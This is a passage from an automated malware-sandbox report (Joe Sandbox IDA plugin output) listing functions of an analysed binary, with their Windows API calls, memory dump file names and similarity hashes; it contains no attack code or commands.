    • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 004304B7
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,00000028,00000000,00000000,00000000,?), ref: 004304DE
    • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?,00000000,?,interface\), ref: 00430524
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,000001FE), ref: 0043053D
    • IIDFromString.COMBASE(00000000,00000000), ref: 00430572
    • RegCloseKey.ADVAPI32(?), ref: 0043057E
    • RegCloseKey.ADVAPI32(?), ref: 0043059C
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CloseOpen$EnumFromQueryStringValue
    • String ID: ($interface$interface\
    • API String ID: 297354694-3327702407
    • Opcode ID: ece2d1dff503f8bd69a3f8af120fc2c2525d4bfacb4d65e8794cc370887e5a92
    • Instruction ID: 465c8dba0b75a2b588b9d9a645616a4f636eb8d9ae8370a13ef1e90354eccf22
    • Opcode Fuzzy Hash: ece2d1dff503f8bd69a3f8af120fc2c2525d4bfacb4d65e8794cc370887e5a92
    • Instruction Fuzzy Hash: DA412B7290021DFFEF10DBA0CC44AEEB7BCEB08315F20456AE910E2190D7399E449F28
    Function 0040D7FC Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 80windowCOMMON
    Download Yara Rule
    APIs
    • GetFocus.USER32 ref: 0040D81B
    • IsChild.USER32(?,00000000), ref: 0040D82A
    • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0040D845
    • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0040D850
    • SendMessageW.USER32(?,000000B1,00000001,0000FFFF), ref: 0040D86B
    • SendMessageW.USER32(?,000000B1,00000000,FFFF0000), ref: 0040D883
    • GetDlgCtrlID.USER32(?), ref: 0040D892
    • GetDlgCtrlID.USER32(?), ref: 0040D8A4
    • SetFocus.USER32(?,00000008,00000000), ref: 0040D8C1
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$CtrlFocus$Child
    • String ID: 0
    • API String ID: 155916262-4108050209
    • Opcode ID: d990ddb02262e76da551cf043bd84009251360777e327b3fa7c4ebf42c808ac8
    • Instruction ID: f2e533566926b18452da6f46fbe18385ad865f3593145e1545aacff08ac70125
    • Opcode Fuzzy Hash: d990ddb02262e76da551cf043bd84009251360777e327b3fa7c4ebf42c808ac8
    • Instruction Fuzzy Hash: D5215C72D00248FFDB12AFA48C44AAE7FB8EB45344F14807AF814B3291D3389D199B64
    Function 00456097 Relevance: 16.8, APIs: 11, Instructions: 309COMMON
    Download Yara Rule
    APIs
    • LCMapStringW.KERNEL32(00000000,00000100,00462758,00000001,00000000,00000000,0045C448,0000003C,00456CFA,?,00000100,00000000,00000001,?,00000003,?), ref: 004560BE
    • GetLastError.KERNEL32(?,?,00456071,?,00000000,00000000,?,00000000,?,?,0040EF80,?,00000000,00000001,?,00000000), ref: 004560D0
    • MultiByteToWideChar.KERNEL32(?,00000000,00000001,00000000,00000000,00000000,0045C448,0000003C,00456CFA,?,00000100,00000000,00000001,?,00000003,?), ref: 00456157
    • MultiByteToWideChar.KERNEL32(?,00000001,00000001,00000000,0040EF80,00000000,?,?,00456071,?,00000000,00000000,?,00000000), ref: 004561D8
    • LCMapStringW.KERNEL32(00000000,?,0040EF80,00000000,00000000,00000000,?,?,00456071,?,00000000,00000000,?,00000000), ref: 004561F2
    • LCMapStringW.KERNEL32(00000000,?,0040EF80,00000000,?,0040EF80,?,?,00456071,?,00000000,00000000,?,00000000), ref: 0045622D
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: String$ByteCharMultiWide$ErrorLast
    • String ID:
    • API String ID: 1775797328-0
    • Opcode ID: 873bb5e03c0175e596a4322a9bcbafd0df59306d79c68c6151f33ca9b8810949
    • Instruction ID: b2d8dc44d8ca8eb0f0711e217ba9cf18ae384d9cb4d0d13082bcb19e82ea283e
    • Opcode Fuzzy Hash: 873bb5e03c0175e596a4322a9bcbafd0df59306d79c68c6151f33ca9b8810949
    • Instruction Fuzzy Hash: 84B1AA7280021AEFDF119FA0CC858EF7BB5FB0831AF55422AF915A3262D3398D55DB58
    Function 00453588 Relevance: 16.6, APIs: 11, Instructions: 150COMMON
    Download Yara Rule
    APIs
    • GetEnvironmentStringsW.KERNEL32(75570A60,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004535A3
    • GetLastError.KERNEL32(?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004535B7
    • GetEnvironmentStringsW.KERNEL32(75570A60,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004535DA
    • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00453614
    • GetEnvironmentStrings.KERNEL32(75570A60,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 00453637
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 00453652
    • _strlen.LIBCMT ref: 0045365F
    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,?,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004536A3
    • _strlen.LIBCMT ref: 004536AE
    • FreeEnvironmentStringsA.KERNEL32(00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004536CB
    • FreeEnvironmentStringsA.KERNEL32(00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004536E7
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: EnvironmentStrings$Free$ByteCharMultiWide_strlen$ErrorLast
    • String ID:
    • API String ID: 871561937-0
    • Opcode ID: 49af6f82f6553a7625c6b44310be979f009b46345ae01e747116c403cbef916f
    • Instruction ID: 189182811b8b7028e3f3fa76c12f55b7742606a7d7476da671c1c8c24d5278b9
    • Opcode Fuzzy Hash: 49af6f82f6553a7625c6b44310be979f009b46345ae01e747116c403cbef916f
    • Instruction Fuzzy Hash: 63411572508255BFD7306F249C8886B7798EB4439B724192FFC46C3243FB299E48D25D
    Function 00442E86 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 236fileCOMMON
    Download Yara Rule
    APIs
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
      • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
    • _strcat.LIBCMT ref: 00442EB7
    • _strcat.LIBCMT ref: 00442EC4
    • DeleteFileA.KERNEL32(?), ref: 00443140
      • Part of subcall function 0044341F: CreateFileA.KERNEL32(00000003,40000000,00000001,00000000,00000003,00000080,00000000,00000000,0044315A,?,?,?), ref: 00443436
      • Part of subcall function 0044341F: SetFileTime.KERNEL32(00000000,?,00000000,?), ref: 0044344E
      • Part of subcall function 0044341F: CloseHandle.KERNEL32(00000000), ref: 00443455
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: File$ByteCharMultiWide_strcat$CloseCreateDeleteHandleTime
    • String ID: {QB
    • API String ID: 896891539-2627146250
    • Opcode ID: 6826efe30987594fd26c18010b1386a6d7d18b79fb1223cd70e0a5c5c14c2d66
    • Instruction ID: 10c7d94db973383b35a21a2cb43c7254eeebb8db6f0dbf89339a4b2e7f1b655e
    • Opcode Fuzzy Hash: 6826efe30987594fd26c18010b1386a6d7d18b79fb1223cd70e0a5c5c14c2d66
    • Instruction Fuzzy Hash: 4D815F72810118AAEF21EFA1CC45FDEB7BCAF44715F00459AF604E6141E778AB94CB6A
    Function 00417510 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 84COMMON
    Download Yara Rule
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: InitVariant
    • String ID: vA
    • API String ID: 1927566239-2626632682
    • Opcode ID: 2b8e8d1de6cab0282e133a8643d30c6927eb614832e0a50d65b6f873aa70965a
    • Instruction ID: 5b2c6dfc33667c660dbbcac74fe3b7b2d15e924b2877dc2a32538863b1b3df48
    • Opcode Fuzzy Hash: 2b8e8d1de6cab0282e133a8643d30c6927eb614832e0a50d65b6f873aa70965a
    • Instruction Fuzzy Hash: 1531FCB290065ABFCB00DFB5DC84986BBADFF08304744852BE919C3A01D734E6A4CFA5
    Function 00402257 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 83windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,0000018C,00000001,00000002), ref: 004022E9
    • GetDlgCtrlID.USER32(00000000), ref: 004022FA
    • GetParent.USER32 ref: 0040230C
    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402313
    • GetDlgCtrlID.USER32(00000000), ref: 00402319
    • GetParent.USER32 ref: 0040232F
    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402336
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$CtrlParent
    • String ID: ComboBox$ListBox
    • API String ID: 1383977212-1403004172
    • Opcode ID: f55888848f7bcba7b3474df748bed1eb155f8da7799cdcffac09153758cf926d
    • Instruction ID: 21d4efe765151b58f1e8dd2b8bd2338c310614b799d46b9de95d0ec11e15162d
    • Opcode Fuzzy Hash: f55888848f7bcba7b3474df748bed1eb155f8da7799cdcffac09153758cf926d
    • Instruction Fuzzy Hash: 8521D871904318BBDF119BB5CC49BBE7BA8DF05311F1000AAF501BB1E2C6BD9D459B69
    Function 0040205D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
    Download Yara Rule
    APIs
    • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 004020ED
    • GetDlgCtrlID.USER32(00000000), ref: 004020FE
    • GetParent.USER32 ref: 00402110
    • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402117
    • GetDlgCtrlID.USER32(00000000), ref: 0040211D
    • GetParent.USER32 ref: 00402133
    • SendMessageW.USER32(00000000,?,00000111,?), ref: 0040213A
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$CtrlParent
    • String ID: ComboBox$ListBox
    • API String ID: 1383977212-1403004172
    • Opcode ID: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
    • Instruction ID: 1ae3639546ccadbcf58f9fd73665429625f42c9a5e242655649765a7bb30241d
    • Opcode Fuzzy Hash: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
    • Instruction Fuzzy Hash: 7121F871900318BBDF11AB69CC49BBE7BA8DF05311F1000A6F601BB1E2C6BD9D49DB69
    Function 0043B8ED Relevance: 15.3, APIs: 10, Instructions: 297registryCOMMON
    Download Yara Rule
    APIs
    • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043B992
    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,?,?,?,HKCR\), ref: 0043B9BC
    • RegCloseKey.ADVAPI32(?,?,?,?,?,?,HKCR\), ref: 0043B9CE
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,?,?,?,?,?,HKCR\), ref: 0043BA0C
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,0001FFFE,00000000,?,?,?,?,?), ref: 0043BA8A
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,?,?,HKCR\), ref: 0043BB16
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,0000FFFF,00000000,?,?,?,?,?), ref: 0043BB70
    • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,0001FFFE,00000000,?,?,?,?,?), ref: 0043BBE6
    • RegCloseKey.ADVAPI32(?,00000000,00000000,?,?,?,?,?,HKCR\), ref: 0043BC25
    • RegCloseKey.ADVAPI32(?), ref: 0043BC30
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: QueryValue$Close$ConnectOpenRegistry
    • String ID:
    • API String ID: 1162896230-0
    • Opcode ID: 0a542f6942da37330aad247183a938a9115cce9e06ddae1f36175f9a5f351c56
    • Instruction ID: 50d668c21b230dfb2cab80434d9b6aad851b21af5472c1ebae7558954520c36c
    • Opcode Fuzzy Hash: 0a542f6942da37330aad247183a938a9115cce9e06ddae1f36175f9a5f351c56
    • Instruction Fuzzy Hash: 15B17471900119EBDF20EF95DC81BEEB7B8EF08314F14505BEA05A7251DB38AE45DB98
    Function 00406DD9 Relevance: 15.2, APIs: 10, Instructions: 152COMMON
    Download Yara Rule
    APIs
    • GetClientRect.USER32(?,00000000), ref: 00406E3D
    • GetWindowRect.USER32(?,00000000), ref: 00406E73
    • ShowWindow.USER32(?,00000006,00000000,?,00000000), ref: 00406EDB
    • ShowWindow.USER32(?,00000000,00000000,?,00000000), ref: 00406EE5
    • ShowWindow.USER32(?,?,00000000,?,00000000), ref: 00406F01
    • LockWindowUpdate.USER32(00000000,00000000,?,00000000), ref: 00406F38
    • InvalidateRect.USER32(?,00000000,00000001), ref: 00406F43
    • LockWindowUpdate.USER32(?,00000000,?,00000000), ref: 00406F50
    • EnableWindow.USER32(?,00000001), ref: 00406F5E
    • ShowWindow.USER32(?,?,00000000,?,00000000), ref: 00406F6D
      • Part of subcall function 0040B6AE: ShowWindow.USER32(00000003,00000000), ref: 0040B705
      • Part of subcall function 0040B6AE: EnableWindow.USER32(00000000,00000000), ref: 0040B719
      • Part of subcall function 0040B6AE: ShowWindow.USER32(00000003,00000000), ref: 0040B766
      • Part of subcall function 0040B6AE: ShowWindow.USER32(00000000,00000004), ref: 0040B76E
      • Part of subcall function 0040B6AE: EnableWindow.USER32(00000000,00000001), ref: 0040B782
      • Part of subcall function 0040B6AE: SendMessageW.USER32(?,0000130C,?,00000000), ref: 0040B7A6
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$Show$EnableRect$LockUpdate$ClientInvalidateMessageSend
    • String ID:
    • API String ID: 3346090438-0
    • Opcode ID: 33eebad1770066d7da53f507c13526217a4cc38fd14724ef0744f22b750f0efe
    • Instruction ID: 00179a3cef90f437505424dea41472531886ad940d9ced4b58695a5b59db2541
    • Opcode Fuzzy Hash: 33eebad1770066d7da53f507c13526217a4cc38fd14724ef0744f22b750f0efe
    • Instruction Fuzzy Hash: 1251C135604385EFCB31CF68D98856BBBA5AF00311B16083FE587E3691D639E864C79D
    Function 00410C44 Relevance: 15.1, APIs: 10, Instructions: 85threadCOMMON
    Download Yara Rule
    APIs
    • GetCurrentThreadId.KERNEL32 ref: 00410C65
    • GetForegroundWindow.USER32(00000000), ref: 00410C75
    • GetWindowThreadProcessId.USER32(00000000), ref: 00410C82
    • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00410C93
    • GetWindowThreadProcessId.USER32(?,?), ref: 00410CA3
    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?), ref: 00410CB8
    • AttachThreadInput.USER32(00000000,00000000,00000001,?,?), ref: 00410CC7
    • AttachThreadInput.USER32(00000000,00000000), ref: 00410CFF
    • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00410D13
    • AttachThreadInput.USER32(00000000,00000000), ref: 00410D1D
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Thread$AttachInput$Window$Process$CurrentForeground
    • String ID:
    • API String ID: 2156557900-0
    • Opcode ID: 84dc89106fe828588eff58668885925fa9e7e82d517fbaf7a7cf41849782f584
    • Instruction ID: 273981aa6d5314c39ed11dbc8b11d4783a6718a70bb47b2180bf8327ec5c3e70
    • Opcode Fuzzy Hash: 84dc89106fe828588eff58668885925fa9e7e82d517fbaf7a7cf41849782f584
    • Instruction Fuzzy Hash: FE218071504305AFDB24DF66DC44A6BBBEDEB84341F14496FF10582251EBB9A8C0CF69
    Function 0042B2C3 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 382COMMON
    Download Yara Rule
    APIs
    • 73F7A570.USER32(00000000), ref: 0042B4A8
    • SelectObject.GDI32(?,00000000), ref: 0042B530
    • SelectObject.GDI32(?,?), ref: 0042B558
    • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 0042B581
    • DeleteObject.GDI32(?), ref: 0042B595
    • DeleteDC.GDI32(?), ref: 0042B59E
    • GetPixel.GDI32(00000007,?,?), ref: 0042B646
    Strings
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Object$DeleteSelect$A570BitsPixel
    • String ID: (
    • API String ID: 2851233416-3887548279
    • Opcode ID: 1c7cc8c43aef32d8cdfe02bece16dfa2d54ddc3cbcbcbaa5d366fa0736ab488b
    • Instruction ID: 44a5a25657ab3b2f0f591ab9398c7da86f2146860005dfdfe1139e521f141202
    • Opcode Fuzzy Hash: 1c7cc8c43aef32d8cdfe02bece16dfa2d54ddc3cbcbcbaa5d366fa0736ab488b
    • Instruction Fuzzy Hash: FBE18F30E04269EFCF10DFA9D885AEEFBB1FF05314F54806AE450A7252C7789985CB99
    Function 0042B6EB Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 263COMMON
    Download Yara Rule
    APIs
    • 73F7A570.USER32(00000000,?), ref: 0042B7BF
    • SelectObject.GDI32(00000000,?), ref: 0042B7EC
    • SelectObject.GDI32(?,?), ref: 0042B814
